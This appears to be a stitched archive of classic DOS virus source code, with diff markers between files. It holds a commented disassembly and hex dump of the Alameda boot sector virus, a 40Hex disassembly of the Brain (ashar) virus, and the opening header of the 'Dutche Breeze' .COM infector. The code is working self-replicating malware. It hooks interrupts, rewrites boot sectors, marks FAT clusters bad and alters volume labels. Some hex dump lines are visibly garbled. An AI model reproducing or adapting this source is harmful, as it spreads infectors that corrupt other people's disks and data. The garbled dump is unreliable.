; 1. Find top of memory and copy ourself up there. (keeping same offset);
; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
; 3. Redirect int 9 (keyboard) to ourself in top of memory ;
; 4. Jump to ourself at top of memory ;
; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ;
;-----------------------------------------------------------------------;
BEGIN: CLI ;INITIALIZE STACK
XOR AX,AX ;
MOV SS,AX ;
MOV SP,offset TOS ;
STI ;
;
MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512)
MOV DS,BX ;
MOV AX,[0013H] ;
MUL BX ;
SUB AX,07E0H ; (7C00H+512)/16
MOV ES,AX ;
;
PUSH CS ;DS = CS
POP DS ;
;
CMP DI,3456H ;IF THE VIRUS IS REBOOTING...
JNE B_10 ;
DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1--
;
B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY
MOV DI,SI ;
MOV CX,512 ;
CLD ;
REP MOVSB ;
;
MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO
MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE
MOV CX,128 ;
REP MOVSB ;
;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
;
PUSH ES ;ES=HI ;JUMP TO OUR HI CODE WITH
POP CS ; CS = ES
;
PUSH DS ;DS=0 ;ES = DS
POP ES ;
;
MOV BX,SP ;SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00
MOV DX,CX ;CX=0 ; DRIVE A: HEAD 0
MOV CX,2708H ; TRACK 40, SECTOR 8
MOV AX,0201H ; READ SECTOR
INT 13H ; (common to 8/9 sect. 1/2 sided!)
JB $ ; HANG IF ERROR
;
JMP JMP_BOOT ;JMP 0000:7C00
;
;-----------------------------------------------------------------------;
; SAVE THEN REDIRECT INT 9 VECTOR ;
; ;
; ON ENTRY: DS = 0 ;
; ES = WHERE TO SAVE OLD_09 & (HI) ;
; WHERE NEW_09 IS (HI) ;
;-----------------------------------------------------------------------;
PUT_NEW_09: ;
DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024
;
MOV SI,9*4 ;COPY INT 9 VECTOR TO
MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!)
MOV CX,0004 ;
;
CLI ;
REP MOVSB ;
MOV Word Ptr [9*4],offset NEW_09
MOV [(9*4)+2],ES ;
STI ;
;
RET ;
;
;-----------------------------------------------------------------------;
; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ;
;-----------------------------------------------------------------------;
ACK_KEYBD: ;
IN AL,61H ;RESET KEYBOARD THEN CONTINUE
MOV AH,AL ;
OR AL,80H ;
OUT 61H,AL ;
XCHG AL,AH ;
OUT 61H,AL ;
JMP RBOOT ;
;
;-----------------------------------------------------------------------;
; DATA AREA WHICH IS NOT USED IN THIS VERSION ;
; REASON UNKNOWN ;
;-----------------------------------------------------------------------;
TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39
DB 27H,0,2,2 ; (CURRENTLY NOT USED)
DB 27H,0,3,2 ;
DB 27H,0,4,2 ;
DB 27H,0,5,2 ;
DB 27H,0,6,2 ;
DB 27H,0,7,2 ;
DB 27H,0,8,2 ;
;
;A7C9A LABEL BYTE ;
DW 00024H ;NOT USED
DB 0ADH ;
DB 07CH ;
DB 0A3H ;
DW 00026H ;
;
;L7CA1: ;
POP CX ;NOT USED
POP DI ;
POP SI ;
POP ES ;
POP DS ;
POP AX ;
POPF ;
JMP 1111:1111 ;
;
;-----------------------------------------------------------------------;
; IF ALT & CTRL & DEL THEN ... ;
; IF ALT & CTRL & ? THEN ... ;
;-----------------------------------------------------------------------;
NEW_09: PUSHF ;
STI ;
;
PUSH AX ;
PUSH BX ;
PUSH DS ;
;
PUSH CS ;DS=CS
POP DS ;
;
MOV BX,[ALT_CTRL] ;BX=SCAN CODE LAST TIME
IN AL,60H ;GET SCAN CODE
MOV AH,AL ;SAVE IN AH
AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
;
CMP AL,1DH ;IS IT A [CTRL]...
JNE N09_10 ;...JUMP IF NO
MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
JMP N09_30 ;
;
N09_10: CMP AL,38H ;IS IT AN [ALT]...
JNE N09_20 ;...JUMP IF NO
MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
JMP N09_30 ;
;
N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)...
JNE N09_30 ;...JUMP IF NO
;
CMP AL,17H ;IF [I]...
JE N09_X0 ;...JUMP IF YES
CMP AL,53H ;IF [DEL]...
JE ACK_KEYBD ;...JUMP IF YES
;
N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME
;
N09_90: POP DS ;
POP BX ;
POP AX ;
POPF ;
;
DB 0EAH ;JMP F000:E987
OLD_09 DW ? ;
DW 0F000H ;
;
N09_X0: JMP N09_X1 ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!?
MOV AX,0800H ;AL=0, AH=DELAY ARG
OUT DX,AL ;
CALL DELAY ;
MOV [ALT_CTRL],AX ;AX=0 ;
;
MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR
INT 10H ;
MOV AH,2 ;SET CURSOR POS 0,0
XOR DX,DX ;
MOV BH,DH ; PAGE 0
INT 10H ;
;
MOV AH,1 ;SET CURSOR TYPE
MOV CX,0607H ;
INT 10H ;
;
MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW)
CALL DELAY ;
;
CLI ;
OUT 20H,AL ;SEND EOI TO INT CONTROLLER
;
MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS
MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!)
MOV SI,offset BEGIN - 128 ;
MOV CX,128 ;
CLD ;
REP MOVSB ;
;
MOV DS,CX ;CX=0 ;DS=0
;
MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
MOV [(19H*4)+2],CS ;
;
MOV AX,0040H ;DS = ROM DATA AREA
MOV DS,AX ;
;
MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0
INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
;
PUSH DS ;IF BIOS F000:E502 == 21E4...
MOV AX,0F000H ;
MOV DS,AX ;
CMP Word Ptr [0E502H],21E4H ;
POP DS ;
JE R_90 ;
INT 19H ; IF NOT...REBOOT
;
R_90: JMP 0F000:0E502H ;...DO IT ?!?!?!
;
;-----------------------------------------------------------------------;
; REBOOT INT VECTOR ;
;-----------------------------------------------------------------------;
NEW_19: XOR AX,AX ;
;
MOV DS,AX ;DS=0
MOV AX,[0410] ;AX=EQUIP FLAG
TEST AL,1 ;IF FLOPPY DRIVES ...
JNZ N19_20 ;...JUMP
N19_10: PUSH CS ;ELSE ES=CS
POP ES ;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
INT 18H ;LOAD BASIC
;
N19_20: MOV CX,0004 ;RETRY COUNT = 4
;
N19_22: PUSH CX ;
MOV AH,00 ;RESET DISK
INT 13 ;
JB N19_81 ;
MOV AX,0201 ;READ BOOT SECTOR
PUSH DS ;
POP ES ;
MOV BX,offset BEGIN ;
MOV CX,1 ;TRACK 0, SECTOR 1
INT 13H ;
N19_81: POP CX ;
JNB N19_90 ;
LOOP N19_22 ;
JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC
;
;-----------------------------------------------------------------------;
; Reinfection segment. ;
;-----------------------------------------------------------------------;
N19_90: CMP DI,3456 ;IF NOT FLAG SET...
JNZ RE_INFECT ;...RE INFECT
;
JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR
JMP 0000:7C00H ;
;
;-----------------------------------------------------------------------;
; Reinfection Segment. ;
;-----------------------------------------------------------------------;
RE_INFECT: ;
MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH
MOV CX,00E6H ; OURSELF
MOV DI,SI ;
PUSH CS ;
POP ES ;
CLD ;
REPE CMPSB ;
JE RI_12 ;IF NOT EQUAL...
;
INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!)
;
;MAKE SURE TRACK 39, HEAD 0 FORMATTED ;
MOV BX,offset TABLE ;FORMAT INFO
MOV DX,0000 ;DRIVE A: HEAD 0
MOV CH,40-1 ;TRACK 39
MOV AH,5 ;FORMAT
JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW !
;
; <<< NO EXECUTION PATH TO HERE >>> ;
JB RI_80 ;
;
;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0
MOV BX,offset BEGIN ;TRACK 40H
MOV CL,8 ;SECTOR 8
MOV AX,0301H ;WRITE 1 SECTOR
INT 13H ;
;
PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW)
POP ES ;
JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE
;
MOV CX,0001 ;WRITE INFECTED BOOT SECTOR !
MOV AX,0301 ;
INT 13H ;
JB RI_80 ; IF ERROR...JUMP TO BOOT CODE
;
RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"...
INT 19H ;...FLAG AND REBOOT
;
RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT)
JMP JMP_BOOT ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS
;
MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG
MOV BX,0040H ;
MOV DS,BX ;
MOV [0072H],AX ; 0040:0072 = RESET FLAG
JMP N09_90 ;
;
;-----------------------------------------------------------------------;
; DELAY ;
; ;
; ON ENTRY AH:CX = LOOP COUNT ;
;-----------------------------------------------------------------------;
DELAY: SUB CX,CX ;
D_01: LOOP $ ;
SUB AH,1 ;
JNZ D_01 ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A7DF4 DB 27H,00H,8,2
COUNTER_1 DW 001CH
ALT_CTRL DW 0
A7DFC DB 27H,0,8,2
END
;-----------------------------------------------------------------------;
; Hexadecimal representation. ;
;-----------------------------------------------------------------------;
;7C00 FA 31 C0 8E D0 BC 00 7C-FB BB 40 00 8E DB A1 13 z1@.P<.|{;@..[!.
;7C10 00 F7 E3 2D E0 07 8E C0-0E 1F 81 FF 56 34 75 04 .wc-`..@....V4u.
;7C20 FF 0E F8 7D 89 E6 89 F7-B9 00 02 FC F3 A4 89 CE ..x}.f.w9..|s$.N
;7C30 BF 80 7B B9 80 00 F3 A4-E8 15 00 06 0F 1E 07 89 ?.{9..s$h.......
;7C40 E3 89 CA B9 08 27 B8 01-02 CD 13 72 FE E9 38 01 c.J9.'8..M.r~i8.
;7C50 FF 0E 13 04 BE 24 00 BF-E6 7C B9 04 00 FA F3 A4 ....>$.?f|9..zs$
;7C60 C7 06 24 00 AD 7C 8C 06-26 00 FB C3 E4 61 88 C4 G.$.-|..&.{Cda.D
;7C70 0C 80 E6 61 86 C4 E6 61-EB 73 27 00 01 02 27 00 ..fa.Dfaks'...'.
;7C80 02 02 27 00 03 02 27 00-04 02 27 00 05 02 27 00 ..'...'...'...'.
;7C90 06 02 27 00 07 02 27 00-08 02 24 00 AD 7C A3 26 ..'...'.$.-|#&
;7CA0 09 5F 5E 07 1F 58 9D-EA 11 11 1 FB .Y_^..X.j.....{P
;7CB0 53 1E 0E 1F 8B 1E FA 7D-E4 60 88 C4 25 7F 88 S.....z}d`.D%..<
;7CC0 1D 75 04 88 E3 EB 16 3C-38 75 04 88 E7 EB 0E .u..ck.<8u..gk..
;7CD0 FB 08 08 75 08 3C 17 74-11 3C 53 74 8F 89 1E {..u.<.t.<St...z
;7CE0 7D 1F 5B 58 9D EA 87 E9-00 F0 E9 EB 00 BA D8 03 }.[X.j.i.pik.:X.
;7CF0 B8 00 08 EE E8 F3 00 A3-FA 7D B0 03 CD 10 B4 02 ..nhs.#z}0.M.4.
;7D00 31 D2 88 F7 CD 10 B4 01-B9 07 06 CD 108 20 04 1R..4.9..M.8 .
;7D10 E8 D7 00 FA E6 20 8E C1-89 CF BE 80 7B B9 80 00 hW.zfA.O>.{9..
;7D20 FC F3 A4 8E D9 C7 06 64-00 52 7D 8C 0E 66 00 B8 |s$.YG.R}..f.8
;7D30 40 00 8E D8 88 26 17 00-FF 06 13 00 1E B8 00 F0 @..X.&.....8.p
;7D4 8E D8 81 3E 02 E5 E4 21-1F 74 02 CD 19 EA 02 E5 .X.>.ed!.t.M.e
;7D50 00 F0 31 C0 8E D8 A1 10-04 A8 01 75 07 0E 07 E8 .p1@.X!..(.u..
;7D60 EE FE CD 18 B9 04 00 51-B4 00 CD 13 72 0D B8 01 n~M.9..Q4.M.r.8
;7D70 02 1E 07 BB 00 7C B9 01-00 C3 59 73 04 E2 E7 ...;.|9..M.Ys.bg
;780 EB DB 81 FF 56 34 75 05-EA 00 7C 00 00 BE 00 7C k[..V4u|..>.|
;7D90 B9 E6 00 89 F7 0E 07 FC-F3 A6 74 2D 26 FF 06 F8 9f..w..|t-&..x
;7DA0 7D BB 7A 7C BA 00 00 B5-27 B4 05 EB 02 72 1F 8E };z|:..5.k.r..
;7DB0 C2 BB 00 7C B1 08 B8 01-03 CD 13 0E 07 72 0F B9 B;.|1.8....r.9
;7DC0 01 00 B8 01 03 CD 13 72-05 BF 56 34 CD 19 E8 7F ..8..M.rV4M.h.
;7DD0 FE 26 FF 0E F8 7D EB B0-89 1E FA 7D A1 F8 7D BB ~&..x}k0}!x};
;7DE0 40 00 8E DB A3 72 0E9-F7 FE 29 C9 E2 FE 80 EC @..[#r.iwIb~.l
;7DF0 01 75 F9 C3 27 00 08 02-1C 00 00 00 27 00 08 02 .uyC'.....'...
;---------------------------------------------------------------------;
End of commented code for the Alameda College Boot Infector Virus.
+687
View File
@@ -0,0 +1,687 @@
40Hex Number 8 Volume 2 Issue 4 File 008
; This is the ashar variant of the classic Pakistani Brain virus. It is large
; by today's standards, although it was one of the first. It is a floppy only
; boot sector infector.
brain segment byte public
assume cs:brain, ds:brain
; Disassembly done by Dark Angel of PHALCON/SKISM
org 0
cli
jmp entervirus
idbytes db 34h, 12h
firsthead db 0
firstsector dw 2707h
curhead db 0
cursector dw 1
db 0, 0, 0, 0
db 'Welcome to the Dungeon '
copyright db '(c) 1986 Brain'
db 17h
db '& Amjads (pvt) Ltd VIRUS_SHOE '
db ' RECORD v9.0 Dedicated to th'
db 'e dynamic memories of millions o'
db 'f virus who are no longer with u'
db 's today - Thanks GOODNESS!! '
db ' BEWARE OF THE er..VIRUS : \th'
db 'is program is catching prog'
db 'ram follows after these messeges'
db '..... $'
db '#@%$'
db '@!! '
entervirus:
mov ax,cs
mov ds,ax ; ds = 0
mov ss,ax ; set stack to after
mov sp,0F000h ; virus
sti
mov al,ds:[7C00h+offset firsthead]
mov ds:[7C00h+offset curhead],al
mov cx,ds:[7C00h+offset firstsector]
mov ds:[7C00h+offset cursector],cx
call calcnext
mov cx,5 ; read five sectors
mov bx,7C00h+200h ; after end of virus
loadnext:
call readdisk
call calcnext
add bx,200h
loop loadnext
mov ax,word ptr ds:[413h] ; Base memory size in Kb
sub ax,7 ; - 7 Kb
mov word ptr ds:[413h],ax ; Insert as new value
mov cl,6
shl ax,cl ; Convert to paragraphs
mov es,ax
mov si,7C00h ; Copy from virus start
mov di,0 ; to start of memory
mov cx,1004h ; Copy 1004h bytes
cld
rep movsb
push es
mov ax,200h
push ax
retf ; return to old boot sector
readdisk:
push cx
push bx
mov cx,4 ; Try 4 times
tryread:
push cx
mov dh,ds:[7C00h+offset curhead]
mov dl,0 ; Read sector from default
mov cx,ds:[7C00h+offset cursector]
mov ax,201h ; Disk to memory at es:bx
int 13h
jnc readOK
mov ah,0 ; Reset disk
int 13h ; (force read track 0)
pop cx
loop tryread
int 18h ; ROM basic on failure
readOK:
pop cx
pop bx
pop cx
retn
calcnext:
mov al,byte ptr ds:[7C00h+offset cursector]
inc al
mov byte ptr ds:[7C00h+offset cursector],al
cmp al,0Ah
jne donecalc
mov byte ptr ds:[7C00h+offset cursector],1
mov al,ds:[7C00h+offset curhead]
inc al
mov ds:[7C00h+offset curhead],al
cmp al,2
jne donecalc
mov byte ptr ds:[7C00h+offset curhead],0
inc byte ptr ds:[7C00h+offset cursector+1]
donecalc:
retn
; the following is a collection of garbage bytes
db 00h, 00h, 00h, 00h, 32h,0E3h
db 23h, 4Dh, 59h,0F4h,0A1h, 82h
db 0BCh,0C3h, 12h, 00h, 7Eh, 12h
db 0CDh, 21h,0A2h, 3Ch, 5Fh
a_data dw 050Ch
; Second part of the virus begins here
jmp short entersecondpart
db '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter db 4 ; keep track of # reads
curdrive db 0
int13flag db 0
entersecondpart:
mov cs:readcounter,1Fh
xor ax,ax
mov ds,ax ; ds -> interrupt table
mov ax,ds:[13h*4]
mov ds:[6Dh*4],ax
mov ax,ds:[13h*4+2]
mov ds:[6Dh*4+2],ax
mov ax,offset int13 ; 276h
mov ds:[13h*4],ax
mov ax,cs
mov ds:[13h*4+2],ax
mov cx,4 ; 4 tries
xor ax,ax
mov es,ax ; es -> interrupt table
tryreadbootsector:
push cx
mov dh,cs:firsthead
mov dl,0
mov cx,cs:firstsector
mov ax,201h ; read from default disk
mov bx,7C00h
int 6Dh ; int 13h
jnc readbootOK
mov ah,0
int 6Dh ; int 13h
pop cx
loop tryreadbootsector
int 18h ; ROM basic on failure
readbootOK: ; return control to
; original boot sector
;* jmp far ptr 0000:7C00h
db 0EAh, 00h, 7Ch, 00h, 00h
nop ; MASM NOP!!!
int13:
sti
cmp ah,2 ; if not read request,
jne doint13 ; do not go further
cmp dl,2 ; if after second floppy,
ja doint13 ; do not go further
cmp ch,0 ; if not reading boot sector,
jne regularread ; go handle as usual
cmp dh,0 ; if boot sector,
je readboot ; do I<-/>/\|> stuff
regularread:
dec cs:readcounter ; Infect after 4 reads
jnz doint13 ; If counter still OK, don't
; do anything else
jmp short readboot ; Otherwise, try to infect
doint13:
jmp exitint13h
readboot:
; FINISH THIS!
mov cs:int13flag,0 ; clear flag
mov cs:readcounter,4 ; reset counter
push ax
push bx
push cx
push dx
mov cs:curdrive,dl
mov cx,4
tryreadbootblock:
push cx
mov ah,0 ; Reset disk
int 6Dh
jc errorreadingbootblock ; Try again
mov dh,0
mov cx,1
mov bx,offset readbuffer ; buffer @ 6BEh
push es
mov ax,cs
mov es,ax
mov ax,201h
int 6Dh ; Read boot sector
pop es
jnc continuestuff ; continue if no error
errorreadingbootblock:
pop cx
loop tryreadbootblock
jmp short resetdisk ; too many failures
nop
continuestuff:
pop cx ; get system id in boot block
mov ax,word ptr cs:[offset readbuffer+4]
cmp ax,1234h ; already infected?
jne dodisk ; if not, infect it
mov cs:int13flag,1 ; flag prev. infection
jmp short noreset
dodisk:
push ds
push es
mov ax,cs
mov ds,ax
mov es,ax
push si
call writevirus ; infect the disk
jc failme ; exit on failure
mov cs:int13flag,2 ; flag success
call changeroot ; manipulate volume label
failme:
pop si
pop es
pop ds
jnc noreset ; don't reset on success
resetdisk:
mov ah,0 ; reset disk
int 6Dh ; int 13h
noreset:
pop dx
pop cx
pop bx
pop ax
cmp cx,1
jne exitint13h
cmp dh,0
jne exitint13h
cmp cs:int13flag,1 ; already infected?
jne wasntinfected ; if wasn't, go elsewhere
mov cx,word ptr cs:[offset readbuffer+7]
mov dx,word ptr cs:[offset readbuffer+5]
mov dl,cs:curdrive ; otherwise, read real
jmp short exitint13h ; boot sector
wasntinfected:
cmp cs:int13flag,2 ; successful infection?
jne exitint13h ; if not, just do call
mov cx,cs:firstsector
mov dh,cs:firsthead
exitint13h:
int 6Dh ; int 13h
retf 2
db 15 dup (0)
FATManip: ; returns al as error code
jmp short delvedeeper
nop
FATManipreadcounter dw 3
db ' (c) 1986 Brain & Amjads (pvt) Ltd'
delvedeeper:
call readFAT ; Get FAT ID byte
mov ax,word ptr ds:[offset readbuffer]
cmp ax,0FFFDh ; is it 360K disk?
je is360Kdisk ; continue if so
mov al,3 ; al=3 == not good disk
stc ; flag error
retn ; and exit
is360Kdisk:
mov cx,37h
mov FATManipreadcounter,0 ; none found yet
checknextsector:
call FATentry12bit ; get entry in FAT
cmp ax,0 ; unused?
jne notunused
inc FATManipreadcounter ; one more found unused
cmp FATManipreadcounter,3 ; If need more,
jne tryanother ; go there
jmp short markembad ; found 3 consecutive
nop ; empty sectors
notunused:
mov FATManipreadcounter,0 ; must start over
tryanother:
inc cx ; try next sector
cmp cx,163h ; end of disk?
jne checknextsector ; if not, continue
mov al,1 ; al=1 == none empty
stc ; Indicate error
retn
markembad:
mov dl,3 ; 3 times
markanotherbad:
call markbad12bit
dec cx
dec dl
jnz markanotherbad
inc cx
call calc1sttrack
call writeFAT ; update FAT
mov al,0 ; al=0 == ok
clc ; indicate success
retn
markbad12bit:
push cx
push dx
mov si,offset readbuffer ; si -> buffer
mov al,cl
shr al,1
jc low_12 ; low bits
call clus2offset12bit
mov ax,[bx+si] ; get FAT entry
and ax,0F000h ; mark it bad
or ax,0FF7h
jmp short putitback ; and put it back
nop
low_12:
call clus2offset12bit
mov ax,[bx+si] ; get FAT entry
and ax,0Fh ; mark it bad
or ax,0FF70h
putitback:
mov [bx+si],ax ; replace FAT entry
mov word ptr ds:[400h][bx+si],ax ; in two places
pop dx
pop cx
retn
FATentry12bit:
push cx
mov si,offset readbuffer ; si->buffer
mov al,cl
shr al,1
; Part 3 of the virus starts here
jc want_high_12
call clus2offset12bit
mov ax,[bx+si]
and ax,0FFFh
jmp short exitFATentry12bit
nop
want_high_12:
call clus2offset12bit ; xxxxxxxxxxxx0000
mov ax,[bx+si] ; ^^^^^^^^^^^^wanted
and ax,0FFF0h ; mask wanted bits
mov cl,4 ; and move to correct
shr ax,cl ; position
exitFATentry12bit:
pop cx
retn
clus2offset12bit:
push dx
mov ax,3
mul cx
shr ax,1 ; ax = cx*1.5
mov bx,ax
pop dx
retn
readFAT:
mov ah,2 ; read
call FAT_IO
retn
writeFAT:
mov ah,3 ; write
call FAT_IO
retn
FAT_IO:
mov cx,4 ; try four times
FAT_IOLoop:
push cx
push ax
mov ah,0 ; reset disk
int 6Dh ; int 13h
pop ax
jc tryFAT_IOagain
mov bx,offset readbuffer
mov al,4 ; 4 sectors
mov dh,0 ; head 0
mov dl,curdrive
mov cx,2 ; sector 2
push ax ; (FAT)
int 6Dh ; int 13h
pop ax
jnc exitFAT_IO
tryFAT_IOagain:
pop cx
loop FAT_IOLoop
pop ax
pop ax
mov al,2
stc ; mark error
retn
exitFAT_IO:
pop cx
retn
calc1sttrack:
push cx
sub cx,2
shl cx,1 ; 2 sectors/cluster
add cx,0Ch ; start of data area
mov ax,cx ; ax = sector
mov cl,12h ; 4096
div cl ; ax/4096 = al rem ah
mov byte ptr firstsector+1,al
mov firsthead,0
inc ah
cmp ah,9 ; past track 9?
jbe notpasttrack9 ; nope, we are ok
sub ah,9 ; otherwise, adjust
mov firsthead,1
notpasttrack9:
mov byte ptr firstsector,ah
pop cx
retn
db 0, 0, 0, 0, 0, 0
r_or_w_root db 3
entrycount dw 35h
tempsave1 dw 303h
tempsave2 dw 0EBEh
tempsave3 dw 1
tempsave4 dw 100h
db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
db 8Dh, 98h, 9Fh, 8Eh,0E0h
db ' (c) ashar $'
changeroot:
call readroot ; read in root directory
jc donotchangeroot
push di
call changevolume ; change volume label
pop di
jc donotchangeroot
call writeroot ; write back new root dir
donotchangeroot:
retn
; The following is just garbage bytes
db 0BBh, 9Bh, 04h,0B9h, 0Bh
db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
db 0C6h, 06h
changevolume:
mov entrycount,6Ch
mov si,offset readbuffer+40h; 3nd dir entry
mov tempsave1,dx
mov ax,entrycount ; 6Ch
shr ax,1
mov tempsave3,ax ; 36h
shr ax,1
mov tempsave2,ax ; 1Bh
xchg ax,cx
and cl,43h ; cx = 3
mov di,tempsave2
add di,1E3h ; di = 01FE
findlabel:
mov al,[si]
cmp al,0
je dolabel ; no mo entries
mov al,[si+0Bh] ; attribute byte
and al,8 ; volume label?
cmp al,8 ; yes?
je dolabel ; then change it!
add si,20h ; go to next directory entry
dec entrycount
jnz findlabel ; loop back
stc ; Error!
retn
db 8Bh
dolabel:
mov bx,[di] ; offset a_data
xor bx,tempsave3 ; bx = 53Ah
mov tempsave3,si ; si->direntry
cli
mov ax,ss
mov tempsave1,ax
mov tempsave2,sp
mov ax,cs
mov ss,ax
mov sp,tempsave3
add sp,0Ch ;->reserved area
mov cl,51h
add dx,444Ch
mov di,2555h
mov cx,0C03h
repe cmpsw
mov ax,0B46h
mov cx,3
rol ax,cl ; ax = 5A30h
mov tempsave3,ax
mov cx,5
mov dx,8
sub tempsave3,5210h ; 820h
push tempsave3 ; store attributes/reserved
; I haven't commented the remainder of this procedure.
; It basically changes the volume label to read "(c) Brain"
; Comment mode OFF
dowhatever:
mov ah,[bx] ; 5a3h
inc bx
mov dl,ah
shl dl,1
jc dowhatever
searchstuff:
mov dl,[bx] ; dl=C2h
inc bx ; bx=53Eh
mov al,dl
shl dl,1
jc searchstuff
add ax,1D1Dh
push ax
inc tempsave3
db 73h, 01h ; jnc $+3
db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
xchg bp,ax
add al,0A1h
xchg bx,ax
add al,8Eh
sar bl,1
add dh,[bp+si]
clc
ret
;db 95h, 04h,0A1h, 93h, 04h, 8Eh
;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h
; Comment mode ON
readroot:
mov r_or_w_root,2 ; set action code
jmp short do_rw_root ; easier to do w/
nop ; mov ah, 2
writeroot:
mov r_or_w_root,3
jmp short do_rw_root ; this is somewhat useless
nop
do_rw_root:
mov dh,0 ; head 0
mov dl,curdrive
mov cx,6 ; sector 6
mov ah,r_or_w_root
mov al,4 ; 4 sectors
mov bx,offset readbuffer
call doint13h
jc exit_rw_root ; quit on error
mov cx,1
mov dh,1 ; head 1
mov ah,r_or_w_root
mov al,3
add bx,800h
call doint13h
exit_rw_root:
retn
doint13h:
mov tempsave1,ax
mov tempsave2,bx
mov tempsave3,cx
mov tempsave4,dx
mov cx,4
doint13hloop:
push cx
mov ah,0 ; Reset disk
int 6Dh
jc errordoingint13h
mov ax,tempsave1
mov bx,tempsave2
mov cx,tempsave3
mov dx,tempsave4
int 6Dh ; int 13h
jnc int13hsuccess
errordoingint13h:
pop cx
loop doint13hloop
stc ; indicate error
retn
int13hsuccess:
pop cx
retn
db 0, 0, 0
; Part 4 of the virus starts here
tempstorecx dw 3
readwritecurrentdata dw 301h
writevirus:
call FATManip
jc exitwritevirus
mov cursector,1
mov curhead,0
mov bx,offset readbuffer
call readcurrent
mov bx,offset readbuffer
mov ax,firstsector
mov cursector,ax
mov ah,firsthead
mov curhead,ah
call writecurrent
call calcnextsector
mov cx,5
mov bx,200h
writeanothersector:
mov tempstorecx,cx
call writecurrent
call calcnextsector
add bx,200h
mov cx,tempstorecx
loop writeanothersector
mov curhead,0
mov cursector,1
mov bx,0
call writecurrent
clc ; indicate success
exitwritevirus:
retn
readcurrent:
mov readwritecurrentdata,201h
jmp short doreadwrite
nop
writecurrent:
mov readwritecurrentdata,301h
jmp short doreadwrite ; This is pointless.
nop
doreadwrite:
push bx
mov cx,4
tryreadwriteagain:
push cx
mov dh,curhead
mov dl,curdrive
mov cx,cursector
mov ax,readwritecurrentdata ; read or write?
int 6Dh ; int 13h
jnc readwritesuccessful
mov ah,0 ; reset disk
int 6Dh ; int 13h
pop cx
loop tryreadwriteagain
pop bx
pop bx
stc ; Indicate error
retn
readwritesuccessful:
pop cx
pop bx
retn
calcnextsector:
inc byte ptr cursector ; next sector
cmp byte ptr cursector,0Ah
jne donecalculate ; finished calculations
mov byte ptr cursector,1 ; clear sector #
inc curhead ; and go to next head
cmp curhead,2 ; if not too large,
jne donecalculate ; we are done
mov curhead,0 ; otherwise clear head #
inc byte ptr cursector+1 ; and advance cylinder
donecalculate:
retn
db 64h, 74h, 61h
; read buffer starts here
; insert your favorite boot block below...
readbuffer:
brain ends
end
+197
View File
@@ -0,0 +1,197 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Dutche Breeze by Glenn Benton ³
;ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
;³ This will be a Parasytic Non-Resident .COM infector. ³
;³ It will also infect COMMAND.COM. ³
